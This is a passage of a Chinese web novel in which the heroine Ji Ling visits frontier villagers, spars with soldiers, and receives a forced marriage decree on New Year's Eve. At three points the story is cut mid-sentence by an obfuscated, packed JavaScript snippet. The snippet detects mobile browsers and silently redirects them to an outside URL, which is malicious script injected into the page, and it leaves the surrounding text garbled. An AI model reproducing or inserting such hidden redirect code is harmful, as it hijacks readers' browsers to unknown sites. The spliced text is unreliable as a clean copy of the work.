他们聊得热火朝天,甚至都没注意姬昤和秦良玉二人不知何时凑了过来。
“嗯,你说得对,啧,那可真不是个好东西,怎么能打妻子呢?是该和离!”姬昤。
“啊?这么刺激?一个晚上去了好几个寡妇那儿?被抓了没?抓到了?奥,被县令大人下大狱了啊,对,就要这样!”姬昤。
“天呐,那不是他孩子啊?后来呢?离家出走十年未归?唉。”姬昤。
突然,众人看向姬昤和秦良玉二人。
“咋看你这么面熟呢?你是隔壁村的?”一个妇人疑惑地看着姬昤,说道。
“俺嘞天娘嘞,这小娘子咋长这么大呢?”一个妇人抬头仰望秦良玉,满脸震惊。
他们村长得最大的娘子也不过七尺有余,可那也比眼前这小娘子矮一个头呢!这小娘子一定家境富裕吃得好,不然咋长这么大的?
“哎呀哎呀哎呀,郡郡郡郡主!”一个妇人指着姬昤磕磕巴巴地说道。
其余人震惊,赶紧跪下行礼。
“见过郡主,郡主息怒,我等不是有意冒犯的!”众人连连说道,一个个看起来怕极了,哪有刚才说起皇帝和贪官时的义愤填膺。
“还有这位大人是……方才冒犯了大人,还望大人见谅。”一大胆的妇人悄悄抬起头看向秦良玉。
“我不是什么大人,我只是郡主的属下。”秦良玉回答。
“那也是大人,大人见谅,大人见谅,我等粗鄙之人什么都不懂,不是无疑冒犯郡主和大人的。”妇人连忙道。
“起来吧,什么冒犯不冒犯的,我不觉得你们冒犯你们便没有冒犯,快些起来吧。”姬昤说道。
众人面面相觑,还是站了起来。
众人心下窃喜,好在刚才没说什么过分的话,关于县令大人和姬家他们可说的都是好话,只是骂了狗皇帝而已,郡主应该不会介意的吧?毕竟那狗皇帝对郡主可不好,郡主应该也不喜欢他。
“你们很讨厌现在的皇帝吗?”姬昤问。
众人犹豫不决,不知该不该说话。
“没事,说吧,难不成我会去告你们大不敬不成?没事,来,咱坐下来悄悄地说,不让旁人听见。”姬昤向众人招招手,然后走到了田埂处直接坐在了黄土上。
众人见姬昤就这么大喇喇坐在了黄土地上没有丝毫郡主架子立马为了过去围着姬昤坐下了。
“郡主您听我说,那狗皇帝……”
……
姬昤和秦良玉就这么听百姓们吐槽了皇帝大半个时辰,甚至都不重复。
姬昤差点就要鼓掌了,这狗皇帝到底是疯了还是怎么了,竟然能做出这么多奇葩之事。从前她在建康知晓不多,如今到了粟邑深入百姓阶层才知道狗皇帝竟然这么昏庸。
百姓们都如此艰难了,税率竟还如此高——十税一。虽然瞧着其实并不高,但综合起来看,加上其他的税,例如人头税、徭役、户调、訾赋等等,还有上面各层官员克扣,加起来就变得极高了,而且这里是边疆地带,受外族骚扰已久,狗皇帝竟然还不加强这里的兵力,有优异的武将便升官调回建康收兵权,导致这里越来越差。
姬昤虽然也跟着骂了好几句狗皇帝,但心里却又有些感激他,他要是不昏庸,她怎么抢皇位?
“幸好狗皇帝还算做了好事,把县令大人这么好的人送了过来,还有霍将军,他可真厉害啊,打的那些匈奴人连连败退不敢再来侵犯,我们可算能过一年好年了。”一村民感慨道。
“他确实很厉害。”姬昤也夸道。
“郡主也知道霍将军?”一人问。
旁边一人推搡了一下那人,说道:“你傻啊,昨日霍将军骑马去见了郡主,定是认识的呀。”
“奥对对对,是我傻了。”那人拍了拍自己脑袋。
“其实这位秦娘子也很厉害的。”姬昤指了下身边坐着的秦良玉说道。
秦良玉谦虚道:“郡主过赞了。”
“秦大人也是习武之人?”有人问。
“是。”秦良玉应了声。
“那,那秦大人您能教我们村的孩子们习武吗?我们这儿男子女子全民皆兵,但是苦于现在没有会习武的娘子,会武的男子又都去参了军,平日里又要种地没空,孩子们的武学课就全落下了。秦大人,您不知道,咱们这地方特殊,孩子们宁可不读书也得习武,不然敌人打来了第一个死,咱们也是没办法。”一个瞧着四五十岁左右的男人苦着脸说道。
秦良玉心中有些动容,但这些她不能做决定,于是看向姬昤。
见状,众人连连开始求姬昤,什么好话都说上了。
“各位,当然可以,我们也很希望能够帮到你们,不过……”姬昤故意拖了下音,在众人露出伤心的神色的时候又开口说道,“不过不是秦娘子,她有事要做,教不了孩子们,但是我身边还有两位娘子,冼娘子和杨娘子,她们也是习武之人,同样很厉害,她们可以教导孩子们。”
众人一喜,又跪下了:“多谢郡主,多谢郡主!”
“快起来,此事我答应了,只是没那么快。听你们刚才那么说,我想不应该只是你们村的孩子,应该全县的孩子们都要习武,所以等我安排好一切再告诉你们,如何?”姬昤连忙起身,说道。
众人起身:“好,好,我们都是粗人,啥都不懂,全听郡主的。”
姬昤和秦良玉又到了其他地方,一天下来都快和这里的村民混熟了,甚至还体验了种田、赶鸡、喂羊……
这里虽然条件艰苦,但是民风淳朴,百姓们都很善良,又很热情,就是有时候说话太直接了,直戳人心窝子。
傍晚时分,二人又去了一块无人之地——原先是有人的,或死或搬走,现在无人居住了,遍地是野草,很是荒凉,现在姬瑾把这里划分为了新的一个村落,专门安置从建康和一路跟姬家人来的流民、乞儿。此时,大家正在清理荒地将土地理出来,根据姬瑾的安排,他们明日便可动工造房子了,现在他们还暂时挤在县令府睡觉,姬瑾把自己房间都让了出来还是不够,最后还是百姓们知道了将一些人带回了家暂住。
姬府。
英兰苑。
姬瑾也在这儿,此时他很苦恼。
“粮食只够这么多人到明年一月左右了,可冬麦至少还有半年才能收,唉……”姬瑾喝着酒,耷拉着脸。
姬昤想起了她任务成功的奖励了,可是现在番薯和土豆一个都不能拿出来,因为生长收获时间对不上。番薯的话她可以待来年二月中下旬再拿出来用来种植,等到来年十月就可以把剩下没拿出来的拿出来和收获的番薯一起作为大家的粮食了,至于土豆她得等到来年三四月才能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421819|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拿出来种,要想吃会比番薯早些,七八月份就好收获了。但这都是正常情况下,可现在似乎是小冰河期,这些收获时间怕是要延长了,而且这都是来年的粮食储备,今年可怎么办呢?
姬昤也在思索。
“阿兄,为何不买些粮食?比如向冀州、豫州,最近的不还有长安嘛!”姬昤问。
姬瑾苦笑一声:“粟邑没钱啊,没钱拿什么买粮?”
姬昤松了口气,她还以为什么原因呢。
“怕什么,不还是有姬家吗?我们姬家虽然拿了三成家财交给皇帝,但哪怕是剩下的七成都够姬家所有人生活几百年了。这样,如今我是家主,我做主拿出一些来给你去买粮,怎么着也要撑到来年粮食收获。”姬昤。
姬瑾盯着姬昤好一会儿,然后问道:“你确定?你如今是家主可不是世家娘子了,你的每一个决定都要慎重。”
“当然确定!如今我们都在粟邑县,日后便是这儿的人,若是这儿的百姓都饿死了,我们在这儿待着干嘛?数羊数星星?再说了,就买点粮食而已,能花姬家多少钱?放心吧。”姬昤笑道。
姬瑾又倒了杯酒,这次,他选择敬自己的妹妹。
“昤昤,阿兄定会将此举告知所有粟邑县百姓,你放心,你想要的阿兄都会助你。”姬瑾说完一口喝下酒。
姬昤心头一紧,试探性地问道:“阿兄你都知道了?我……”
“当然,你做这些亦是善举,你刚当下家主就为姬家得来这好名声,不是更有利于你巩固家主之位吗?昤昤你放心,阿兄永远是支持你的。”姬瑾说道。
姬昤又松了口气,她还以为是知道她想造反了,原来是这个啊。
“阿兄,烦心事已解决,能不能就别喝了?你都喝醉了,脸这么红,跟猴子屁股似的。”姬昤说着就要去拿姬瑾手中的酒。
姬瑾躲开了姬昤的手,眼里又浮现一丝哀伤。
“昤昤,你让我喝吧,我又想起你云珠表姐了,这么多年过去了,为何她在我脑海中的模样愈发清晰了?”姬瑾抬头望月,瞧那月亮上似乎都有萧云珠的容颜,她还在微笑。
姬昤沉默了会儿,叹了口气,接着又劝道:“……阿兄,云珠表姐定不会想看到你这样作践自己的。冬日寒冷,你早些回房休息吧,明日你还要忙,昨日又整夜无休,早些睡吧。”
姬瑾没有说话,只是一直盯着月亮,半晌之后才缓缓说道:“云珠骂我了,对,我得去休息了。”说罢起身,晃了两下身子,姬昤立马起身扶住却被姬瑾挣脱开。
“不必扶我了,昤昤你也早些休息,我自己能走。”说着,姬瑾往外走去,他去的是旁边的院子。
卫青住在那儿,不过现在卫青去了另一个宅子,刚好县令府现在人满为患,姬瑾就暂时住在卫青的屋子里了。
突然,姬昤想起来一件事,白日里她答应百姓们让冼英和杨妙真去教导孩子们习武,可不光习武啊,也得读书!姬昤想到了谢渊。
于是她去了谢渊的院子。
姬昤和谢渊面对面坐着,一个赔着笑,一个瞪着眼。
“当初你可没说我还得教一群孩子!”谢渊。
“哎呀,先生,教一个也是教,教一群也是教嘛!您想啊,这其中若是有什么天资聪慧者学出来了,日后说出去谁谁谁都是您教的,您脸上多有光啊!”姬昤笑呵呵的,说着还眨巴眨巴了眼睛。
“哼!我会在乎那些?”谢渊冷哼一声。
姬昤咬了咬牙:“先生,只要您肯答应,我姬家所有袁霈的字画全部赠与先生!”
谢渊脸色一变:“当真?”
“当真!”姬昤重重点头。
谢渊舔了舔嘴唇:“也罢,既然你这么求我了,我就勉为其难地答应了。好了,夜深了,莫要留在我一个老头子的院子里了,回去休息吧。”说罢起身就要回到屋中,待他走到门边上时,手搭在门上。
“明早我要见到袁霈的字画。”他说着推开门走了进去。
姬昤看着关着的门心中默默流泪。
那么多袁霈的字画,多少钱啊!卖了的钱加在一起都够整个姬家吃用百年了!
罢了,也是为了未来她的国家的发展,孩子们读书习字了也能过得更好。
虽然现在还是安朝,皇帝还姓安,姬昤已经很不要脸地把国家划分为她的国家了。
姬昤才不会承认她脸皮厚,只是有些心痛。
31.军营
翌日,姬昤带上妇好去了军营,昨日只是看了粟邑的风土人情和民生情况,再去军营就来不及了,所以留到了今日。
如今霍去病官至五品绥边将军,算是这边军营的老大了,这里还有一个五品的武将叫常胜,据说他这名字是因为他阿耶希望粟邑永不受侵扰才给他取的。这个常胜将军年近五十,本来有一次升官调任建康的机会,他拒绝了,说是要为了大安永驻边疆,皇帝感念他忠心,便赏赐了他百两白银让他继续留在了这儿,可之后便再也没想起过他。
听说是因为这位常胜将军家中无人孤身一人皇帝是想发火也没地发,总不能直接杀了,所以才顺了他的意让他留在了粟邑县。
而常胜将军在这五品官职上和粟邑县一待就是二十年。
主将营帐中。
霍去病和常胜二人都在,还有一些杂七杂八的小将领们,都来接待姬昤和妇好了。
姬昤作为郡主,相当于一品官员,因此被安排在了最上方的位置。霍去病和常胜坐在下方左右两侧,接着是妇好,她坐在霍去病边上,最后是其他小将领们。
大家面前的桌上摆着酒和菜,菜很普通,放在往日根本就不会是姬昤吃得到的,甚至姬家的下人吃的都要比这个丰盛,但正是这些普通的饭菜却饱了这里将士们的肚子。
“你们不必紧张,我就是想来看看你们平日里都是如何训练的,吃住怎么样、可还好,莫紧张。”姬昤见一群人不是抠自己膝盖就是眼神乱飞的,不禁开口说道。
这样她都紧张了。
“就是,在郡主面前你们不必太过拘礼,自在些就行。”霍去病附和道。
还是没人敢说话,最后还是常胜打了个哈哈:“哎呀,一个个那么紧张做什么?郡主长得跟天仙儿似的这么漂亮难不成还能吃了你们?”
其他小将领们笑了,七嘴八舌地开始夸姬昤。
姬昤笑着全部听着,一边谦虚说没有那么夸张,心里也有了个底。
虽说霍去病打匈奴厉害如今是五品将军是这边最高的官,但到底还是常胜这个在这儿待了几十年的人说话管用。
“常将军,听闻您几十年如一日驻守在这儿,绥英佩服,绥英敬您一杯!”姬昤举起酒杯面向常胜。
常胜连忙举杯,起身,面向姬昤:“郡主客气了,这都是我们做将的职责,理应如此。”
姬昤不再言语,微笑着喝下了酒,常胜也喝了酒。
“郡主,不知这位娘子是何人?”常胜看了眼妇好,询问道。
妇好站了起来,拿了个酒杯:“妇好,郡主的属下。”说罢饮下一杯酒,然后坐下了。
“她也是习武之人,说来可不比你们当中的谁差呢。”姬昤夸赞道。
说到这个大家都来劲了,一个个都说要和妇好比划比划。
“各位别急,先吃饱喝足,待会儿去校场比试如何?”姬昤说道。
“都听郡主的!”大家很激动。
对于他们来说,时时刻刻都要提防匈奴和鲜卑来犯,有时还要防着西边的羌胡偷摸打过来,平日里为了生计又要种田,根本没什么消遣的事,这比武就算是最大的消遣了。
校场。
里三层外三层围满了人,大家都听说安定郡主带了个会武的娘子过来,说是要和将军们比试,大家都很激动,除了巡逻的兵几乎全来看热闹了。
中央,霍去病和妇好对立而站,两人选了同样的武器——戟。
“妇好姐姐,我可不会让你哦。”霍去病微笑。
“用不着,要不我让让你?”妇好亦是微笑。
两人同时敛了笑容,在“观众们”的注视下奔向对方。
清晨的日光带来丝丝温暖,在寒冷的冬日里、将士们一声声欢呼声中、你一招我一招的激烈战斗中,纠缠的妇好和霍去病二人分开而站,两人退后了些,看向对方的目光都变成了欣赏。
围观的将士们沉默了,片刻过后爆发出一阵欢呼声。
“承让。”霍去病抱拳。
“客气。”妇好同样。
“真没想到这位娘子武艺竟如此高超,在下佩服,也想切磋切磋,可否?”常胜搓了搓手,走上前说道。
“当然可以,请。”妇好微笑。
霍去病离开中央,将戟放回了兰锜上,常胜走到兰锜前,挑了环首刀。
他说:“妇大人……”
妇好抬手:“我姓好。”
众人一愣,觉得有些奇怪,竟有人姓氏在后面吗?
“额,好,好大人。要不您也换一个武器?近身打近身也更公平,不然我怕伤着您。”常胜说道。
妇好一个挑眉,很好,伤着她?可以试试。
妇好也将戟放回在兰锜上,然后挑了把大刀。
抬眸之间,妇好眼神一变,整个人从松散随意变得狠厉,像是从死人堆里爬出来的一样,一记眼神就能镇住敌人。
常胜双手握紧了刀柄,严阵以待。
一刻钟之后……
大刀架在了常胜脖子上,妇好勾了勾嘴角:“怎么样?”
常胜往后挪了挪脖子,尴尬地笑了笑:“好大人,我甘拜下风,你很厉害。”
妇好收回大刀,抱了下拳:“承让了,常将军。”
常胜抱拳。
姬昤在旁边看得手痒,她兴奋地开口道:“谁来跟我切磋切磋?”
众人一愣,跟郡主切磋?这不太好吧……
姬昤扫了一圈,半晌过去竟无一人上前。
“放心吧,不用担心伤到我,都说是切磋了,自然是点到为止。”姬昤说罢,等了一会儿,又补充道,“放心,不论如何,哪怕伤到我了我也不会追究你们的!”
见还是无人敢上前,妇好说话了:“我来吧。”
姬昤心中一喜:“好呀好呀!妇好姐姐,你可要让让我,我只是初学者,学的还不够呢。”
妇好笑了一下,然后立刻敛了笑容:“不行。”
姬昤瘪嘴试图撒娇,妇好依旧冷着脸没有动容。
“好吧,我尽力在你手下撑过百招。”姬昤说着然后去挑兵器,最终挑了长枪,这是她目前最擅长的兵器了,不过之后她还想练练其他兵器,例如戟、环首刀、弓箭、鞭子之类的。
“郡主要对自己有信心,年初的时候您能在妙真手下撑过百招,在我这儿自然也不会太差,您放心吧。”妇好也拿了把长枪。
姬昤率先动身,她使用的是和杨妙真学的梨花枪,她当初也是非常用心地学习的,如今一手梨花枪使得出神入化。
两柄长枪抵在一起绽出星星点点的火花,姬昤和妇好二人离得很近。
“郡主武艺还行,不过日后还得加强训练。郡主天资聪慧,这些定难不倒您。”妇好说道。
“自然。”姬昤应声。
接着二人分开,两人站立两边走了几步。
紧接着是更激烈的战斗。
两刻钟后,姬昤败下阵来,输了。
“唉,我就知道我打不赢你,妇好姐姐你实在太厉害了。”姬昤微微喘着气,说道。
这大冬天的,穿着这么多衣服还要打斗,确实有些困难。
她果然需要加强训练了。
“郡主既然知晓就该多练。承让了,郡主。”妇好转身一个投射,长枪插回到兰锜上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426921|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“郡主已经很厉害了,是不是啊,大家?”霍去病说罢扫了眼众人,接着带头鼓了掌。
掌声轰然响起,一个个开始夸姬昤。
“对啊对啊,郡主千金之躯竟能和好大人过招这么久,真是太厉害了!”
“好大人可是能和霍将军平分秋色的人,郡主在好大人面前竟能接招这么久,太难得了!”
“郡主瞧着瘦瘦小小的,没想到竟能练得如此厉害,太佩服了!”
……
姬昤听着大家的夸赞心里很是开心,但是也听到了自己的不足之处。
就比如瘦瘦小小这点,在建康时她的个头还能看,但在这边,她瞧见的女子几乎都比她高!还比她结实许多!她应该多练武多吃些,让个子拔上去,把身体练结实。她以后可是要逐鹿天下的人,自己优秀了才能吸引更多优秀的人才来投奔她的嘛!
“好,从今日起,我日日来军营同大家一起训练!”姬昤斗志昂扬。
掌声顿时停住,所有人震惊地看着姬昤。
姬昤尴尬地笑了笑:“怎么了?不欢迎我吗?”
“不是,郡主,大家不是这个意思。”霍去病连忙说道。
“对啊,郡主,大家只是觉得这样郡主您是不是不太方便?毕竟军营都是男子,郡主您是女儿家……”常胜委婉道。
“这有什么的?我平日里都住在姬府,每日往返军营训练没什么不方便的。我知道你们在担心什么,不如这样,我来这一起训练,同时也好监督你们,若是谁表现好,本郡主便自掏腰包赏他银子,如何?”姬昤提议。
这里大家都是一样穷,她觉得她的提议应该还算可以吧?大家表现好了得了银子,日子自然也会更好过些。
常胜眼神一亮,他走到了姬昤身边,笑呵呵地问道:“郡主此话当真?”
“自然!我姬绥英说话算话!”姬昤肯定道。
常胜心中一喜,然后委屈道:“兄弟们军饷都停了好几月发不出来了,若能努力得到郡主的赏赐,日子也能好过些。那我就先替大家多谢郡主了!”
“等等,军饷停了好几月了?”姬昤皱眉。
“唉,是啊,上面拨不下来钱,我们自然也拿不到,县令大人也没有余钱给我们,只能尽力让我们吃饱,我们也是没有办法。”常胜叹气。
“上面拨不下来钱?呵,好一个拨不下来钱。”姬昤冷笑道。
那一个个肚子富得流油的官员们怕是从中吞了不少吧?
常胜听姬昤这语气便知道为何拨不下来钱了,看来和他猜测的一样。之前他一直安慰自己是整个大安朝都不好,哪儿都缺钱,所以他们才一直拿不到军饷,原来一切都是他想得太美好了。
“没事,有我呢,日后定不会委屈了你们,你们可是为了国家和百姓才坚守在这儿的,我定不会让你们受这种苦。”姬昤神色坚定。
“有郡主的这番话我们心里听着也安心多了,多谢郡主。”常胜说道。
“多谢郡主!”众人齐声道。
姬昤看着眼前一幅幅面孔,她正在努力记住大家的脸——他们都是保家卫国的英雄,应该得到厚待。
这以后可都是她的兵啊!
姬昤可没忘记她的主线任务之一——拥兵一万,若是失败了可就要撤回她的卫霍大礼包了!那可不行!还有拥有一块起兵之地,她不太清楚该怎么确定起兵之地,是在某个地方了就能是起兵之地,还是说要这个地方名义上就是她的才能算起兵之地?系统没说,也没提示。不过她估计是需要名义上就是她的才能算起兵之地吧,不然系统早提示她任务完成了。
只剩下一年左右时间了,她得加把劲了。
32.除夕夜
粟邑县整个县城,也不止粟邑县,都变得十分喜庆——大红灯笼高高挂,家家户户烟火气更加浓烈,每个人的脸上都带着笑容,行人逢人便问“你家都准备好了吗?”,然后别人回答“好了,你家呢?”——因为马上就要过年了。
一切都在井然有序地进行着,开荒地、造新屋、习文学武、买粮卖垩。
垩,也就是石灰,粟邑县石灰资源丰富,现在这里就靠卖这个赚钱了。换做从前天气好、日子安定的时候,粟邑县盛产粟米和石灰,每年也能挣不少钱,粟邑县的日子还算过得去,可现在天灾人祸不断,苛捐杂税一大堆、外地侵扰不停歇,粟邑县没法子,只能靠卖石灰来赚些银子了。
这是姬家在粟邑县过的第一个年,整个姬家都忙活起来了,上上下下好几百号人,往日还算安静的姬府也变得热闹了。
姬昤透过窗户看了眼外面忙碌的下人们,然后低下头继续写信。
她要给皇帝写一封信——她要跟皇帝讨一个封地。
她主要是想试试如果她有封地了是不是就算完成“拥有一块起兵之地”的任务了。况且,她都是郡主了,竟然连封地都没有,这说出去像话吗?而且她怎么说也是为了大安嫁去羌胡,给个封地作安抚都不,说出去也未免显得皇帝太过小气了。
皇帝这人最好面子,她都开口要了,怎么着他也会打肿脸充胖子给她一个的吧?
姬昤想着。
信写好了,姬昤交给了月栀,她的病已经好了,好在她身体康健,后来又常跟着姬昤锻炼,不过几天风寒就好了。
“娘子,您竟然给狗……给皇帝写了信?”月栀很是惊讶,在这边待久了差点脱口而出“狗皇帝”,不过她还是及时止住了,她怕祸从口出给娘子招惹麻烦。
“向他要点东西而已,不知道他肯不肯给。”姬昤说道。
“我这就去送信,告诉信差务必让他快些送到建康。”月栀神色变得认真起来,她十分严肃认真地收好了信,转身离去。
皇帝的回信在年前就送到了粟邑县姬府。
姬昤看了,内容的大致意思就是:可以给封地,但得交换,她的婚事一拖再拖,羌胡已经不耐烦了,希望她心里有数。
姬昤嗤笑了声,开始回信。
这次年关将至,信没那么快送到,姬昤开始全心准备过年了。
姬昤正在姬家忙活着过年的事,她如今是家主了,有些事第一次经历她也想亲力亲为。
姬瑾在县令府,现在县令府人少了许多了,因为有许多屋子造了起来,已经有不少人住进去了。
粟邑县又来人了。
是一群流民。
据他们所说,是因为之前听姬昤说要想活命可以试着去雍州冯翊郡的粟邑县,所以他们跋山涉水、不远万里地赶来了。
说话的人刚说完就倒下了,姬瑾立刻请了大夫来,可是为时已晚,人已没了。
剩下的几十个人一个个瘦脱了相,如今人死在他们跟前他们也是哭不出来了,一是见多了,一是哭不动了,他们太饿了。
于是姬瑾赶紧让人煮了粥送来——是稀粥,水多米少的那种。姬瑾怕一下子吃得太好让他们吃坏了身体,一切还得慢慢来。同时,姬瑾派人去请了姬昤过来。
这些人暂且住进了县令府,在见到姬昤的时候他们还有些茫然,听到姬瑾说出了她的名字,众人才渐渐哭出了声。
他们竟然活下来了。
“只有你们来吗?”姬昤声音温柔。
“不是的,只是很多死在了路上,还有些……我,我也不知道,许是还没到,还在后面吧。”一个女子回答着。
“你们既然到了这儿便安心住下吧。你们从前都是哪儿的人啊?为何会沦落至此?”姬昤问。
“我们都是从四面八方来的,后来聚到了一起,听说了粟邑县可以活命,我们就一起来了。”刚才说话的女子又说道,“我是广州南海郡的,发了大水,家被冲垮了,家里人全没了,就我一个,活不下去了,所以一路北上,最后到了这儿。”
“我是豫州的,天干大旱,我们村的人全离开了。”一人说道。
“我也是豫州的,不过我那儿是闹蝗灾,吃光了粮食。”又一人说道。
……
每个人都是在家里活不下去了才跑到了这儿,姬昤听完他们的话下意识地双眼湿润了。
世道艰难啊,到处都是天灾人祸。
“如果你们愿意留在这里,待会儿会有人带你们去籍帐登记,不过你们得暂住县令府了,因为新房子还没造好。哦对了,得你们自己造,来这儿的人都是这样做的,不过这里会给你们提供吃食,这个你们放心。”姬昤说道。
“已经很好了,能有吃的我们已经很满足了。”
“旁的地方甚至都不让我们进城,这里给我们吃的还让我们自己给自己造房子,我们挑什么?这不是很好吗?”
“多谢郡主,多谢县令大人!”
……
“那你们先住下,我还有事就先走了。”姬昤说着又回到了姬府。
姬府。
“左边点儿,对,再左点儿。”姬昤站在大门前,指挥着下人们挂红灯笼。
接着,姬昤和身边的卫子夫唠嗑:“子夫,你有没有觉得这两天比之前还要暖和些啊?”
她还减了件衣服呢。
“是要暖和些,不过家主……”卫子夫顿了顿,然后担忧道,“来年春日怕是会有倒春寒,庄稼收成减少,生长时日延长,百姓们要多饿些日子了。”
“唉,天公不作美,怎的今年如此多灾害?”姬昤也很担心。
“好在家主英明,拿了些钱财出来让县令大人去买粮,如今粟邑县粮食也勉强够大家再吃小半年了。就是花的钱有些多,现在粮食太贵了,别的地方也卖不了多少给我们,他们也要吃。”卫子夫。
“没办法,大家都收着点肚子少吃点,多撑会儿,等到了三月左右,大家就能有新希望了。”姬昤微笑。
等到时候她系统仓库里的番薯和土豆就可以陆续种植了,再熬几个月,大家就有更多粮食吃了!
卫子夫不解,新希望?什么希望?
除夕夜。
爆竹声中一岁除,噼里啪啦的爆竹炸上天绽放出一片绚烂,大家穿着新衣围聚在一起欢声笑语。
“拖‘家主’的福,我等竟在这鸟不拉屎的地方过了新年。”一个族老翻了个白眼,皮笑肉不笑地阴阳怪气道。
“呵呵呵。”姬昤假笑了几声,“您可以走啊,我可没求您留下。”
“哼!”那族老冷哼一声甩袖离开。
姬昤才不管走了多少人,反正这些人她本来就不想带过来,要不是瞧他们年岁大了且当年或多或少还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432468|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是对姬家有那么些贡献的,想着干脆给他们养老送终得了,不然她就把他们全丢在建康,亦或者丢给四房、五房算了!
“唉,昤昤,跟族老们说话还是要客气些。”姬父站在姬昤旁边劝道。
毕竟年岁都大了,万一把人气死了罪过可就大了,对昤昤的名声不好。
“知道了阿耶。”姬昤随口应了句。
“可惜你二兄不在,否则我们一家人也是团聚了。”姬母感慨道。
“是啊,姬瑜这家伙喜欢热闹,如今他一人在泾川县过年,身边也没个人陪着,这时候肯定很想我们。”姬昤说着看向身边的月栀,“对吧,月栀?”
月栀一愣:“啊?啊,是啊,二郎君定然想我们了。”
姬昤笑了,然后双手交叉望向天上的月亮:“新的一年,我希望……粟邑县的百姓们能吃饱饭穿暖衣,希望我们姬家人都能平平安安,希望大家都心想事成。”
“既然昤昤说了这个心愿,不如现在就出去玩玩?这还是我们第一次在粟邑过年,外去瞧瞧粟邑县百姓都是怎么过年的?”姬父提议。
“好呀!出去玩!”月栀第一个鼓掌。
还有大房的几个小孩子,病好了之后都很想出去玩,都很兴奋。
姬昤捏了捏月栀的脸,刚想说声好,一个下人跑了过来。
“家主,您的信,皇帝的!”下人喊道。
所有人喜悦的氛围一下子就没了。
“皇帝怎么会有信送来?昤昤,莫不是说你的……婚事?”姬父担忧道。
“姬家不是都交了三成家财躲到这里来了么?皇帝为何还要催这婚事?”姬呈皱着眉说道。
姬家付出了什么换来了现在的短暂安宁他也知道,只是皇帝未免也太过分了,不与姬家商议先将姬昤册封为郡主赐婚在前,拿了姬家财产逼迫姬昤婚事在后,哪一件是好事?
“莫急,我看看都写了些什么。”姬昤淡定地拆开了信封,拿出了里面的信。
姬昤看完信后冷笑了声:“之前我问皇帝要了个封地,他给了,很大方地把安定郡赐作我的封地,不过……”
“不过什么?”姬母心中着急,连忙问道。
“要我来年二月二十一日出绛羌胡为王子妃,这是最终期限。”姬昤眼神冰冷,“可真会挑,挑了我的生辰让我嫁出去。”
“什么?!狗皇帝!不是说会帮你把婚期一直往后拖一拖的吗?没听说羌□□人来催啊,怎的突然又要你嫁过去了?”姬父大怒道。
“昤昤,你不能嫁啊,那是羌胡,那什么王子妃也不是好当的,听闻那里若是羌王死了,新的羌王便可继承他的妃子,这都是什么啊!昤昤你不能去,千万不能去!”姬母紧紧握着姬昤的手,说着都要哭出来了。
“你如今已是家主,怎还能嫁出去?要么也得招个赘婿进来。可这是圣意又如何驳斥?这该如何是好?”姬瑾眉头皱得能夹死蝇虫了,他在院子内走来走去,思索着两全的办法。
“怎么办呀娘子,月栀不要您嫁去那种地方!呜呜呜……”月栀抱着姬昤的胳膊哭道。
大家都表达着对姬昤的担心和对皇帝的愤怒,然而当事人姬昤却是最冷静的。
“莫急,不是还有两个多月的时间吗?再等等。”姬昤说道。
她在等一个时机,若是那个时机迟迟不来她便只好主动出击了。
33.匈奴来犯
年后没几日,建康传来两则消息——
一则,大皇子被册封为江夏王,将于二月初去往封地。
这消息还是罗则——之前说“再会”的告诉她的。他说他那远在建康皇宫里的弟弟近来日子好了许多,皇帝似乎更宠信他弟弟了,于是一有消息便立刻递信过来,他知道了便立刻来告诉她了。
二则,皇帝最近迷上了丹药和寻仙问道,寻了许多术士炼丹,一有不满便砍一批再寻一批,变得有些残暴。
姬昤有些意外,没想到成年皇子中只剩一个皇后所出的大皇子竟也被册封为王了,她还以为他会是板上钉钉的太子呢。也不知道狗皇帝到底在想什么,估计是觉得儿子们都在觊觎他的皇位,所以谁都不放心都要封王放出去。不过姬昤目前还是觉得大皇子,也就是江夏王更有希望成为太子。
大皇子,江夏王。
二皇子,庐陵王。
三皇子,郁林王。
三人之中三皇子的地方条件最差,光是这个他就离太子之位很远了。其中江夏王的封地最好也最重要,可见他在皇帝心中的地位还是很重要的。
如今的大安,所有郡当中,江夏属于第一梯队的地方,然后是庐陵,属于第二梯度,而郁林,不过只是大安版图范围的一个象征罢了。
郁林王离皇位是没可能的了,只有庐陵王还能和江夏王争一争。
姬昤同样没想到皇帝竟然会突然迷恋丹药和求仙,怪不得系统当初说安朝没几年光景就要崩塌了,若狗皇帝不昏庸安朝怎么崩塌?
“系统,查看一下我的任务进度。”姬昤在心中说道。
“当前任务进度——
主线任务一:
